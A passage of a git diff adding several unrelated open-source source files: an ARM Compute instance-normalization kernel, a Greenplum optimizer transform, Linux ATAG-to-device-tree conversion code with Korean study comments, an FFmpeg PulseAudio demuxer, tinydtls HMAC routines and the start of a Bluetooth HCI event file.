DataType::F16; }, + REGISTER_FP16_NEON(arm_compute::cpu::neon_fp16_instancenorm) + }, +#endif // __ARM_FEATURE_FP16_VECTOR_ARITHMETIC +}; + +/** Micro-kernel selector + * + * @param[in] data Selection data passed to help pick the appropriate micro-kernel + * + * @return A matching micro-kernel else nullptr + */ +const InstanceNormKernel *get_implementation(const InstanceNormSelectorData &data) +{ + for(const auto &uk : available_kernels) + { + if(uk.is_selected(data)) + { + return &uk; + } + } + return nullptr; +} + +Status validate_arguments(const ITensorInfo *input, const ITensorInfo *output, float gamma, float beta, float epsilon) +{ + ARM_COMPUTE_RETURN_ERROR_ON_CPU_F16_UNSUPPORTED(input); + ARM_COMPUTE_UNUSED(gamma); + ARM_COMPUTE_UNUSED(beta); + ARM_COMPUTE_RETURN_ERROR_ON_MSG(epsilon == 0.f, "Epsilon must be different than 0"); + + ARM_COMPUTE_RETURN_ERROR_ON_DATA_TYPE_NOT_IN(input, DataType::F16, DataType::F32); + ARM_COMPUTE_RETURN_ERROR_ON_MSG(input->data_layout() == DataLayout::NHWC, "NHWC data layout is not supported by the kernel directly"); + + if(output != nullptr && output->total_size() != 0) + { + ARM_COMPUTE_RETURN_ERROR_ON_MISMATCHING_SHAPES(input, output); + ARM_COMPUTE_RETURN_ERROR_ON_MISMATCHING_DATA_TYPES(input, output); + ARM_COMPUTE_RETURN_ERROR_ON_MISMATCHING_DATA_LAYOUT(input, output); + ARM_COMPUTE_RETURN_ERROR_ON_MSG(input->num_channels() != output->num_channels(), "Input and output have different number of channels"); + } + return Status{}; +} + +std::tuple validate_and_configure_window(ITensorInfo *input, ITensorInfo *output) +{ + // We handle the planes manually + Window win = calculate_max_window(*input, Steps(1)); + + // Output auto initialization if not yet initialized + auto_init_if_empty(*output, input->tensor_shape(), 1, input->data_type()); + + // NEInstanceNormalizationLayerKernel doesn't need padding so update_window_and_padding() can be skipped + return std::make_pair(Status{}, win); +} +} // namespace + +NEInstanceNormalizationLayerKernel::NEInstanceNormalizationLayerKernel() + : _input(nullptr), _output(nullptr), _gamma(1), _beta(0), _epsilon(1e-12) +{ +} + +void NEInstanceNormalizationLayerKernel::configure(ITensor *input, ITensor *output, const InstanceNormalizationLayerKernelInfo &info) +{ + ARM_COMPUTE_ERROR_ON_NULLPTR(input); + + _input = input; + _output = output == nullptr ? input : output; + _gamma = info.gamma; + _beta = info.beta; + _epsilon = info.epsilon; + _use_mixed_precision = info.use_mixed_precision; + + ARM_COMPUTE_ERROR_THROW_ON(validate_arguments(_input->info(), _output->info(), _gamma, _beta, _epsilon)); + + // Configure kernel window + auto win_config = validate_and_configure_window(_input->info(), _output->info()); + ARM_COMPUTE_ERROR_THROW_ON(std::get<0>(win_config)); + + INEKernel::configure(std::get<1>(win_config)); +} + +Status NEInstanceNormalizationLayerKernel::validate(const ITensorInfo *input, const ITensorInfo *output, const InstanceNormalizationLayerKernelInfo &info) +{ + ARM_COMPUTE_RETURN_ON_ERROR(validate_arguments(input, output, info.gamma, info.beta, info.epsilon)); + ARM_COMPUTE_RETURN_ON_ERROR(std::get<0>(validate_and_configure_window(input->clone().get(), (output == nullptr ? input->clone().get() : output->clone().get())))); + return Status{}; +} + +void NEInstanceNormalizationLayerKernel::run(const Window &window, const ThreadInfo &info) +{ + ARM_COMPUTE_UNUSED(info); + ARM_COMPUTE_ERROR_ON_UNCONFIGURED_KERNEL(this); + ARM_COMPUTE_ERROR_ON_INVALID_SUBWINDOW(INEKernel::window(), window); + + const auto *uk = get_implementation(InstanceNormSelectorData{ _input->info()->data_type() }); + ARM_COMPUTE_ERROR_ON(uk == nullptr || uk->ukernel == nullptr); + + uk->ukernel(_input, _output, _gamma, _beta, _epsilon, _use_mixed_precision, window); +} +} // namespace arm_compute diff --git a/pool/shard011/C++/0118488_CXformSubqueryUnnest.cpp b/pool/shard011/C++/0118488_CXformSubqueryUnnest.cpp new file mode 100644 index 0000000000000000000000000000000000000000..dc31c79702dee63e00bc4365952205dc60779f9a --- /dev/null +++ b/pool/shard011/C++/0118488_CXformSubqueryUnnest.cpp @@ -0,0 +1,189 @@ +//--------------------------------------------------------------------------- +// Greenplum Database +// Copyright (C) 2012 EMC Corp. +// +// @filename: +// CXformSubqueryUnnest.cpp +// +// @doc: +// Implementation of subquery unnesting base class +//--------------------------------------------------------------------------- + +#include "gpopt/xforms/CXformSubqueryUnnest.h" + +#include "gpos/base.h" + +#include "gpopt/operators/CExpressionHandle.h" +#include "gpopt/operators/CLogicalGbAgg.h" +#include "gpopt/operators/CLogicalSequenceProject.h" +#include "gpopt/operators/CNormalizer.h" +#include "gpopt/operators/COperator.h" +#include "gpopt/xforms/CSubqueryHandler.h" + + +using namespace gpmd; +using namespace gpopt; + + +//--------------------------------------------------------------------------- +// @function: +// CXformSubqueryUnnest::Exfp +// +// @doc: +// Compute xform promise for a given expression handle; +// scalar child must have subquery +// +//--------------------------------------------------------------------------- +CXform::EXformPromise +CXformSubqueryUnnest::Exfp(CExpressionHandle &exprhdl) const +{ + if (exprhdl.DeriveHasSubquery(1)) + { + return CXform::ExfpHigh; + } + + return CXform::ExfpNone; +} + + +//--------------------------------------------------------------------------- +// @function: +// CXformSubqueryUnnest::PexprSubqueryUnnest +// +// @doc: +// Helper for unnesting subquery under a given context +// +//--------------------------------------------------------------------------- +CExpression * +CXformSubqueryUnnest::PexprSubqueryUnnest(CMemoryPool *mp, CExpression *pexpr, + BOOL fEnforceCorrelatedApply) +{ + GPOS_ASSERT(nullptr != pexpr); + + if (GPOS_FTRACE(EopttraceEnforceCorrelatedExecution) && + !fEnforceCorrelatedApply) + { + // if correlated execution is enforced, we cannot generate an expression + // that does not use correlated Apply + return nullptr; + } + + // extract components + CExpression *pexprOuter = (*pexpr)[0]; + CExpression *pexprScalar = (*pexpr)[1]; + + // we add-ref the logical child since the resulting expression must re-use it + pexprOuter->AddRef(); + + CExpression *pexprNewOuter = nullptr; + CExpression *pexprResidualScalar = nullptr; + + CSubqueryHandler::ESubqueryCtxt esqctxt = CSubqueryHandler::EsqctxtFilter; + + // calling the handler removes subqueries and sets new logical and scalar expressions + CSubqueryHandler sh(mp, fEnforceCorrelatedApply); + if (!sh.FProcess(pexprOuter, pexprScalar, esqctxt, &pexprNewOuter, + &pexprResidualScalar)) + { + CRefCount::SafeRelease(pexprNewOuter); + CRefCount::SafeRelease(pexprResidualScalar); + + return nullptr; + } + + // create a new alternative using the new logical and scalar expressions + CExpression *pexprResult = nullptr; + if (COperator::EopScalarProjectList == pexprScalar->Pop()->Eopid()) + { + CLogicalSequenceProject *popSeqPrj = nullptr; + CLogicalGbAgg *popGbAgg = nullptr; + COperator::EOperatorId op_id = pexpr->Pop()->Eopid(); + + switch (op_id) + { + case COperator::EopLogicalProject: + pexprResult = CUtils::PexprLogicalProject( + mp, pexprNewOuter, pexprResidualScalar, + false /*fNewComputedCol*/); + break; + + case COperator::EopLogicalGbAgg: + popGbAgg = CLogicalGbAgg::PopConvert(pexpr->Pop()); + popGbAgg->Pdrgpcr()->AddRef(); + pexprResult = CUtils::PexprLogicalGbAgg( + mp, popGbAgg->Pdrgpcr(), pexprNewOuter, pexprResidualScalar, + popGbAgg->Egbaggtype()); + break; + + case COperator::EopLogicalSequenceProject: + popSeqPrj = CLogicalSequenceProject::PopConvert(pexpr->Pop()); + popSeqPrj->Pds()->AddRef(); + popSeqPrj->Pdrgpos()->AddRef(); + popSeqPrj->Pdrgpwf()->AddRef(); + pexprResult = CUtils::PexprLogicalSequenceProject( + mp, popSeqPrj->Pds(), popSeqPrj->Pdrgpos(), + popSeqPrj->Pdrgpwf(), pexprNewOuter, pexprResidualScalar); + break; + + default: + GPOS_ASSERT(!"Unnesting subqueries for an invalid operator"); + break; + } + } + else + { + pexprResult = + CUtils::PexprLogicalSelect(mp, pexprNewOuter, pexprResidualScalar); + } + + // normalize resulting expression + CExpression *pexprNormalized = CNormalizer::PexprNormalize(mp, pexprResult); + pexprResult->Release(); + + // pull up projections + CExpression *pexprPullUpProjections = + CNormalizer::PexprPullUpProjections(mp, pexprNormalized); + pexprNormalized->Release(); + + return pexprPullUpProjections; +} + +void +CXformSubqueryUnnest::Transform(CXformContext *pxfctxt, CXformResult *pxfres, + CExpression *pexpr, + BOOL fEnforceCorrelatedApply) const +{ + CMemoryPool *pmp = pxfctxt->Pmp(); + + CExpression *pexprAvoidCorrelatedApply = + PexprSubqueryUnnest(pmp, pexpr, fEnforceCorrelatedApply); + if (nullptr != pexprAvoidCorrelatedApply) + { + // add alternative to results + pxfres->Add(pexprAvoidCorrelatedApply); + } +} + +//--------------------------------------------------------------------------- +// @function: +// CXformSubqueryUnnest::Transform +// +// @doc: +// Actual transformation; +// assumes unary operator, e.g., Select/Project, where the scalar +// child contains subquery +// +//--------------------------------------------------------------------------- +void +CXformSubqueryUnnest::Transform(CXformContext *pxfctxt, CXformResult *pxfres, + CExpression *pexpr) const +{ + GPOS_ASSERT(nullptr != pxfctxt); + GPOS_ASSERT(FPromising(pxfctxt->Pmp(), this, pexpr)); + GPOS_ASSERT(FCheckPattern(pexpr)); + + Transform(pxfctxt, pxfres, pexpr, false /*fEnforceCorrelatedApply*/); + Transform(pxfctxt, pxfres, pexpr, true /*fEnforceCorrelatedApply*/); +} + +// EOF diff --git a/pool/shard011/C/0141563_atags_to_fdt.c b/pool/shard011/C/0141563_atags_to_fdt.c new file mode 100644 index 0000000000000000000000000000000000000000..042600b40058de97cfdada5434c962b6ff69ed8d --- /dev/null +++ b/pool/shard011/C/0141563_atags_to_fdt.c @@ -0,0 +1,251 @@ +#include +#include + +#if defined(CONFIG_ARM_ATAG_DTB_COMPAT_CMDLINE_EXTEND) +#define do_extend_cmdline 1 +#else +#define do_extend_cmdline 0 +#endif + +#define NR_BANKS 16 + +static int node_offset(void *fdt, const char *node_path) +{ + int offset = fdt_path_offset(fdt, node_path); + if (offset == -FDT_ERR_NOTFOUND) + offset = fdt_add_subnode(fdt, 0, node_path); + return offset; +} + +static int setprop(void *fdt, const char *node_path, const char *property, + uint32_t *val_array, int size) +{ + int offset = node_offset(fdt, node_path); + if (offset < 0) + return offset; + return fdt_setprop(fdt, offset, property, val_array, size); +} + +static int setprop_string(void *fdt, const char *node_path, + const char *property, const char *string) +{ + int offset = node_offset(fdt, node_path); + if (offset < 0) + return offset; + return fdt_setprop_string(fdt, offset, property, string); +} + +static int setprop_cell(void *fdt, const char *node_path, + const char *property, uint32_t val) +{ + int offset = node_offset(fdt, node_path); + if (offset < 0) + return offset; + return fdt_setprop_cell(fdt, offset, property, val); +} + +static const void *getprop(const void *fdt, const char *node_path, + const char *property, int *len) +{ + int offset = fdt_path_offset(fdt, node_path); + + if (offset == -FDT_ERR_NOTFOUND) + return NULL; + + return fdt_getprop(fdt, offset, property, len); +} + +static uint32_t get_cell_size(const void *fdt) +{ + int len; + uint32_t cell_size = 1; + const uint32_t *size_len = getprop(fdt, "/", "#size-cells", &len); + + if (size_len) + cell_size = fdt32_to_cpu(*size_len); + return cell_size; +} + +static void merge_fdt_bootargs(void *fdt, const char *fdt_cmdline) +{ + char cmdline[COMMAND_LINE_SIZE]; + const char *fdt_bootargs; + char *ptr = cmdline; + int len = 0; + + /* copy the fdt command line into the buffer */ + fdt_bootargs = getprop(fdt, "/chosen", "bootargs", &len); + if (fdt_bootargs) + if (len < COMMAND_LINE_SIZE) { + memcpy(ptr, fdt_bootargs, len); + /* len is the length of the string + * including the NULL terminator */ + ptr += len - 1; + } + + /* and append the ATAG_CMDLINE */ + if (fdt_cmdline) { + len = strlen(fdt_cmdline); + if (ptr - cmdline + len + 2 < COMMAND_LINE_SIZE) { + *ptr++ = ' '; + memcpy(ptr, fdt_cmdline, len); + ptr += len; + } + } + *ptr = '\0'; + + setprop_string(fdt, "/chosen", "bootargs", cmdline); +} + +/* + * Convert and fold provided ATAGs into the provided FDT. + * + * REturn values: + * = 0 -> pretend success + * = 1 -> bad ATAG (may retry with another possible ATAG pointer) + * < 0 -> error from libfdt + */ + + +/* IAMROOT-12A: + * ------------ + * struct tag { + struct tag_header hdr; + union { + struct tag_core core; + struct tag_mem32 mem; + struct tag_videotext videotext; + struct tag_ramdisk ramdisk; + struct tag_initrd initrd; + struct tag_serialnr serialnr; + struct tag_revision revision; + struct tag_videolfb videolfb; + struct tag_cmdline cmdline; + + struct tag_acorn acorn; + struct tag_memclk memclk; + } u; +}; + + */ + +/* IAMROOT-12A: + * ------------ + * atag_list: 1st-atag or DTB 포인터, 2nd-시작RAM+0x100 + * fdt: _edata + */ + + +int atags_to_fdt(void *atag_list, void *fdt, int total_space) +{ + struct tag *atag = atag_list; + /* In the case of 64 bits memory size, need to reserve 2 cells for + * address and size for each bank */ + +/* IAMROOT-12A: + * ------------ + * 64비트 시스템의 경우 한 개 뱅크당 주소와 사이즈((2 + 2) x sizeof(int32)) + */ + uint32_t mem_reg_property[2 * 2 * NR_BANKS]; + int memcount = 0; + int ret, memsize; + + /* make sure we've got an aligned pointer */ + if ((u32)atag_list & 0x3) + return 1; + +/* IAMROOT-12A: + * ------------ + * atag/DTB 포인터에서 DTB 매직넘버를 발견하면 이미 DTB가 존재하는 것으로 파악이되어 + * ATAG를 컨버전할 필요 없으므로 성공으로 리턴 + */ + /* if we get a DTB here we're done already */ + if (*(u32 *)atag_list == fdt32_to_cpu(FDT_MAGIC)) + return 0; + +/* IAMROOT-12A: + * ------------ + * 처음에 오는 태크가 ATAG_CORE가 아니거나 사이즈가 맞지않으면 실패(1)로 리턴 + */ + /* validate the ATAG */ + if (atag->hdr.tag != ATAG_CORE || + (atag->hdr.size != tag_size(tag_core) && + atag->hdr.size != 2)) + return 1; + + /* let's give it all the room it could need */ + ret = fdt_open_into(fdt, fdt, total_space); + if (ret < 0) + return ret; + +/* IAMROOT-12A: + * ------------ + * atag_list는 atag 개채의 묶음. + * for_each_tag()를 수행 시 atag에 하나의 ATAG를 가리키는 포인터가 담김 + * 태그는 3개(ATAG_CMDLINE, ATAG_MEM, ATAG_INITRD2)만 디바이스트리로 컨버전 + * - ATAG_CMDLINE(cmdline) ---> DTB:/chosen 노드 -> bootargs 프로퍼티 + * - ATAG_MEM(u.mem.start & u.mem.size x N뱅크) ---> DTB:/memory 노드 -> reg 프로퍼티 + * - ATAG_INITRD2(u.initrd.start & u.initrd.size) ---> DTB:/chosen 노드 -> linux,initrd-start + * ---> DTB:/chosen 노드 -> linux,initrd-end + */ + for_each_tag(atag, atag_list) { + if (atag->hdr.tag == ATAG_CMDLINE) { + /* Append the ATAGS command line to the device tree + * command line. + * NB: This means that if the same parameter is set in + * the device tree and in the tags, the one from the + * tags will be chosen. + */ + if (do_extend_cmdline) + merge_fdt_bootargs(fdt, + atag->u.cmdline.cmdline); + else + setprop_string(fdt, "/chosen", "bootargs", + atag->u.cmdline.cmdline); + } else if (atag->hdr.tag == ATAG_MEM) { + if (memcount >= sizeof(mem_reg_property)/4) + continue; + if (!atag->u.mem.size) + continue; + memsize = get_cell_size(fdt); + +/* IAMROOT-12A: + * ------------ + * memsize=2인 경우 64비트 + * ATAG_MEM은 여러 개가 존재할 수 있다. + */ + if (memsize == 2) { + /* if memsize is 2, that means that + * each data needs 2 cells of 32 bits, + * so the data are 64 bits */ + uint64_t *mem_reg_prop64 = + (uint64_t *)mem_reg_property; + mem_reg_prop64[memcount++] = + cpu_to_fdt64(atag->u.mem.start); + mem_reg_prop64[memcount++] = + cpu_to_fdt64(atag->u.mem.size); + } else { + mem_reg_property[memcount++] = + cpu_to_fdt32(atag->u.mem.start); + mem_reg_property[memcount++] = + cpu_to_fdt32(atag->u.mem.size); + } + + } else if (atag->hdr.tag == ATAG_INITRD2) { + uint32_t initrd_start, initrd_size; + initrd_start = atag->u.initrd.start; + initrd_size = atag->u.initrd.size; + setprop_cell(fdt, "/chosen", "linux,initrd-start", + initrd_start); + setprop_cell(fdt, "/chosen", "linux,initrd-end", + initrd_start + initrd_size); + } + } + + if (memcount) { + setprop(fdt, "/memory", "reg", mem_reg_property, + 4 * memcount * memsize); + } + + return fdt_pack(fdt); +} diff --git a/pool/shard011/C/0141564_pulse.c b/pool/shard011/C/0141564_pulse.c new file mode 100644 index 0000000000000000000000000000000000000000..b27329a1bdff3e0f36ea3e5346913f06f62a0945 --- /dev/null +++ b/pool/shard011/C/0141564_pulse.c @@ -0,0 +1,190 @@ +/* + * Pulseaudio input + * Copyright (c) 2011 Luca Barbato + * + * This file is part of FFmpeg. + * + * FFmpeg is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * FFmpeg is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with FFmpeg; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/** + * @file + * PulseAudio input using the simple API. + * @author Luca Barbato + */ + +#include +#include +#include + +#include "libavformat/avformat.h" +#include "libavformat/internal.h" +#include "libavutil/opt.h" + +#define DEFAULT_CODEC_ID AV_NE(AV_CODEC_ID_PCM_S16BE, AV_CODEC_ID_PCM_S16LE) + +typedef struct PulseData { + AVClass *class; + char *server; + char *name; + char *stream_name; + int sample_rate; + int channels; + int frame_size; + int fragment_size; + pa_simple *s; + int64_t pts; + int64_t frame_duration; +} PulseData; + +static pa_sample_format_t codec_id_to_pulse_format(int codec_id) { + switch (codec_id) { + case AV_CODEC_ID_PCM_U8: return PA_SAMPLE_U8; + case AV_CODEC_ID_PCM_ALAW: return PA_SAMPLE_ALAW; + case AV_CODEC_ID_PCM_MULAW: return PA_SAMPLE_ULAW; + case AV_CODEC_ID_PCM_S16LE: return PA_SAMPLE_S16LE; + case AV_CODEC_ID_PCM_S16BE: return PA_SAMPLE_S16BE; + case AV_CODEC_ID_PCM_F32LE: return PA_SAMPLE_FLOAT32LE; + case AV_CODEC_ID_PCM_F32BE: return PA_SAMPLE_FLOAT32BE; + case AV_CODEC_ID_PCM_S32LE: return PA_SAMPLE_S32LE; + case AV_CODEC_ID_PCM_S32BE: return PA_SAMPLE_S32BE; + case AV_CODEC_ID_PCM_S24LE: return PA_SAMPLE_S24LE; + case AV_CODEC_ID_PCM_S24BE: return PA_SAMPLE_S24BE; + default: return PA_SAMPLE_INVALID; + } +} + +static av_cold int pulse_read_header(AVFormatContext *s) +{ + PulseData *pd = s->priv_data; + AVStream *st; + char *device = NULL; + int ret; + enum AVCodecID codec_id = + s->audio_codec_id == AV_CODEC_ID_NONE ? DEFAULT_CODEC_ID : s->audio_codec_id; + const pa_sample_spec ss = { codec_id_to_pulse_format(codec_id), + pd->sample_rate, + pd->channels }; + + pa_buffer_attr attr = { -1 }; + + st = avformat_new_stream(s, NULL); + + if (!st) { + av_log(s, AV_LOG_ERROR, "Cannot add stream\n"); + return AVERROR(ENOMEM); + } + + attr.fragsize = pd->fragment_size; + + if (strcmp(s->filename, "default")) + device = s->filename; + + pd->s = pa_simple_new(pd->server, pd->name, + PA_STREAM_RECORD, + device, pd->stream_name, &ss, + NULL, &attr, &ret); + + if (!pd->s) { + av_log(s, AV_LOG_ERROR, "pa_simple_new failed: %s\n", + pa_strerror(ret)); + return AVERROR(EIO); + } + /* take real parameters */ + st->codec->codec_type = AVMEDIA_TYPE_AUDIO; + st->codec->codec_id = codec_id; + st->codec->sample_rate = pd->sample_rate; + st->codec->channels = pd->channels; + avpriv_set_pts_info(st, 64, 1, 1000000); /* 64 bits pts in us */ + + pd->pts = AV_NOPTS_VALUE; + pd->frame_duration = (pd->frame_size * 1000000LL * 8) / + (pd->sample_rate * pd->channels * av_get_bits_per_sample(codec_id)); + + return 0; +} + +static int pulse_read_packet(AVFormatContext *s, AVPacket *pkt) +{ + PulseData *pd = s->priv_data; + int res; + pa_usec_t latency; + + if (av_new_packet(pkt, pd->frame_size) < 0) { + return AVERROR(ENOMEM); + } + + if ((pa_simple_read(pd->s, pkt->data, pkt->size, &res)) < 0) { + av_log(s, AV_LOG_ERROR, "pa_simple_read failed: %s\n", + pa_strerror(res)); + av_free_packet(pkt); + return AVERROR(EIO); + } + + if ((latency = pa_simple_get_latency(pd->s, &res)) == (pa_usec_t) -1) { + av_log(s, AV_LOG_ERROR, "pa_simple_get_latency() failed: %s\n", + pa_strerror(res)); + return AVERROR(EIO); + } + + if (pd->pts == AV_NOPTS_VALUE) { + pd->pts = -latency; + } + + pkt->pts = pd->pts; + + pd->pts += pd->frame_duration; + + return 0; +} + +static av_cold int pulse_close(AVFormatContext *s) +{ + PulseData *pd = s->priv_data; + pa_simple_free(pd->s); + return 0; +} + +#define OFFSET(a) offsetof(PulseData, a) +#define D AV_OPT_FLAG_DECODING_PARAM + +static const AVOption options[] = { + { "server", "pulse server name", OFFSET(server), AV_OPT_TYPE_STRING, {.str = NULL}, 0, 0, D }, + { "name", "application name", OFFSET(name), AV_OPT_TYPE_STRING, {.str = LIBAVFORMAT_IDENT}, 0, 0, D }, + { "stream_name", "stream description", OFFSET(stream_name), AV_OPT_TYPE_STRING, {.str = "record"}, 0, 0, D }, + { "sample_rate", "sample rate in Hz", OFFSET(sample_rate), AV_OPT_TYPE_INT, {.i64 = 48000}, 1, INT_MAX, D }, + { "channels", "number of audio channels", OFFSET(channels), AV_OPT_TYPE_INT, {.i64 = 2}, 1, INT_MAX, D }, + { "frame_size", "number of bytes per frame", OFFSET(frame_size), AV_OPT_TYPE_INT, {.i64 = 1024}, 1, INT_MAX, D }, + { "fragment_size", "buffering size, affects latency and cpu usage", OFFSET(fragment_size), AV_OPT_TYPE_INT, {.i64 = -1}, -1, INT_MAX, D }, + { NULL }, +}; + +static const AVClass pulse_demuxer_class = { + .class_name = "Pulse demuxer", + .item_name = av_default_item_name, + .option = options, + .version = LIBAVUTIL_VERSION_INT, +}; + +AVInputFormat ff_pulse_demuxer = { + .name = "pulse", + .long_name = NULL_IF_CONFIG_SMALL("Pulse audio input"), + .priv_data_size = sizeof(PulseData), + .read_header = pulse_read_header, + .read_packet = pulse_read_packet, + .read_close = pulse_close, + .flags = AVFMT_NOFILE, + .priv_class = &pulse_demuxer_class, +}; diff --git a/pool/shard011/C/0141565_hmac.c b/pool/shard011/C/0141565_hmac.c new file mode 100644 index 0000000000000000000000000000000000000000..186c1e8f0507a270f9e58b72ce414654a7608794 --- /dev/null +++ b/pool/shard011/C/0141565_hmac.c @@ -0,0 +1,171 @@ +/* dtls -- a very basic DTLS implementation + * + * Copyright (C) 2011--2012 Olaf Bergmann + * + * Permission is hereby granted, free of charge, to any person + * obtaining a copy of this software and associated documentation + * files (the "Software"), to deal in the Software without + * restriction, including without limitation the rights to use, copy, + * modify, merge, publish, distribute, sublicense, and/or sell copies + * of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be + * included in all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS + * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN + * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN + * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ + +#include +#include +#include + +#include "dtls_config.h" + +#ifdef HAVE_ASSERT_H +#include +#endif + +#include "debug.h" +#include "hmac.h" + +/* use malloc()/free() on platforms other than Contiki */ +#ifndef WITH_CONTIKI +#include + +static inline dtls_hmac_context_t * +dtls_hmac_context_new() { + return (dtls_hmac_context_t *)malloc(sizeof(dtls_hmac_context_t)); +} + +static inline void +dtls_hmac_context_free(dtls_hmac_context_t *ctx) { + free(ctx); +} + +#else /* WITH_CONTIKI */ +#include "memb.h" +MEMB(hmac_context_storage, dtls_hmac_context_t, DTLS_HASH_MAX); + +static inline dtls_hmac_context_t * +dtls_hmac_context_new() { + return (dtls_hmac_context_t *)memb_alloc(&hmac_context_storage); +} + +static inline void +dtls_hmac_context_free(dtls_hmac_context_t *ctx) { + memb_free(&hmac_context_storage, ctx); +} + +void +dtls_hmac_storage_init() { + memb_init(&hmac_context_storage); +} +#endif /* WITH_CONTIKI */ + +void +dtls_hmac_update(dtls_hmac_context_t *ctx, + const unsigned char *input, size_t ilen) { + assert(ctx); + dtls_hash_update(&ctx->data, input, ilen); +} + +dtls_hmac_context_t * +dtls_hmac_new(const unsigned char *key, size_t klen) { + dtls_hmac_context_t *ctx; + + ctx = dtls_hmac_context_new(); + if (ctx) + dtls_hmac_init(ctx, key, klen); + + return ctx; +} + +void +dtls_hmac_init(dtls_hmac_context_t *ctx, const unsigned char *key, size_t klen) { + int i; + + assert(ctx); + + memset(ctx, 0, sizeof(dtls_hmac_context_t)); + + if (klen > DTLS_HMAC_BLOCKSIZE) { + dtls_hash_init(&ctx->data); + dtls_hash_update(&ctx->data, key, klen); + dtls_hash_finalize(ctx->pad, &ctx->data); + } else + memcpy(ctx->pad, key, klen); + + /* create ipad: */ + for (i=0; i < DTLS_HMAC_BLOCKSIZE; ++i) + ctx->pad[i] ^= 0x36; + + dtls_hash_init(&ctx->data); + dtls_hmac_update(ctx, ctx->pad, DTLS_HMAC_BLOCKSIZE); + + /* create opad by xor-ing pad[i] with 0x36 ^ 0x5C: */ + for (i=0; i < DTLS_HMAC_BLOCKSIZE; ++i) + ctx->pad[i] ^= 0x6A; +} + +void +dtls_hmac_free(dtls_hmac_context_t *ctx) { + if (ctx) + dtls_hmac_context_free(ctx); +} + +int +dtls_hmac_finalize(dtls_hmac_context_t *ctx, unsigned char *result) { + unsigned char buf[DTLS_HMAC_DIGEST_SIZE]; + size_t len; + + assert(ctx); + assert(result); + + len = dtls_hash_finalize(buf, &ctx->data); + + dtls_hash_init(&ctx->data); + dtls_hash_update(&ctx->data, ctx->pad, DTLS_HMAC_BLOCKSIZE); + dtls_hash_update(&ctx->data, buf, len); + + len = dtls_hash_finalize(result, &ctx->data); + + return len; +} + +#ifdef HMAC_TEST +#include + +int main(int argc, char **argv) { + static unsigned char buf[DTLS_HMAC_DIGEST_SIZE]; + size_t len, i; + dtls_hmac_context_t *ctx; + + if (argc < 3) { + fprintf(stderr, "usage: %s key text", argv[0]); + return -1; + } + + dtls_hmac_storage_init(); + ctx = dtls_hmac_new(argv[1], strlen(argv[1])); + assert(ctx); + dtls_hmac_update(ctx, argv[2], strlen(argv[2])); + + len = dtls_hmac_finalize(ctx, buf); + + for(i = 0; i < len; i++) + printf("%02x", buf[i]); + printf("\n"); + + dtls_hmac_free(ctx); + + return 0; +} +#endif diff --git a/pool/shard011/C/0141566_lhci_evt_sc.c b/pool/shard011/C/0141566_lhci_evt_sc.c new file mode 100644 index 0000000000000000000000000000000000000000..e0cd3987c3dde6801fe3159a82ce98c7b1ca4056 --- /dev/null +++ b/pool/shard011/C/0141566_lhci_evt_sc.c @@ -0,0 +1,123 @@ +/*************************************************************************************************/ +/*! + * \file + * + * \brief LL HCI event module implementation file. + * + * Copyright (c) 2013-2018 Arm Ltd. All Rights Reserved. + * + * Copyright (c) 2019 Packetcraft, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +/*************************************************************************************************/ + +#include "lhci_int.h" +#include "hci_defs.h" +#include "ll_api.h" +#include "wsf_msg.h" +#include "util/bstream.h" +#include + +/*************************************************************************************************/ +/*! + * \brief Pack a read local P-256 public key complete event packet. + * + * \param pBuf Packed packet buffer. + * \param pEvt Read local P-256 public key indication data. + * + * \return Packet length. + */ +/*************************************************************************************************/ +static uint8_t lhciPackReadLocalP256PubKeyCmplEvt(uint8_t *pBuf, const LlReadLocalP256PubKeyInd_t *pEvt) +{ + const uint8_t len = HCI_LEN_LE_READ_PUB_KEY_CMPL; + + UINT8_TO_BSTREAM (pBuf, HCI_LE_READ_LOCAL_P256_PUB_KEY_CMPL_EVT); + UINT8_TO_BSTREAM (pBuf, LL_SUCCESS); + memcpy(pBuf, pEvt->pubKey_x, sizeof(pEvt->pubKey_x)); + pBuf += sizeof(pEvt->pubKey_x); + memcpy(pBuf, pEvt->pubKey_y, sizeof(pEvt->pubKey_y)); + + return len; +} + +/*************************************************************************************************/ +/*! + * \brief Pack a generate Diffie-Hellman key complete event packet. + * + * \param pBuf Packed packet buffer. + * \param pEvt Generate Diffie-Hellman key indication data. + * + * \return Packet length. + */ +/*************************************************************************************************/ +static uint8_t lhciPackGenerateDhKeyCmplEvt(uint8_t *pBuf, const LlGenerateDhKeyInd_t *pEvt) +{ + const uint8_t len = HCI_LEN_LE_GEN_DHKEY_CMPL; + + UINT8_TO_BSTREAM (pBuf, HCI_LE_GENERATE_DHKEY_CMPL_EVT); + UINT8_TO_BSTREAM (pBuf, pEvt->status); + memcpy(pBuf, pEvt->dhKey, sizeof(pEvt->dhKey)); + + return len; +} + +/*************************************************************************************************/ +/*! + * \brief LL secure connections data event handler. + * + * \param pEvt Buffer containing LL event. + * + * \return TRUE if event handled, FALSE otherwise. + */ 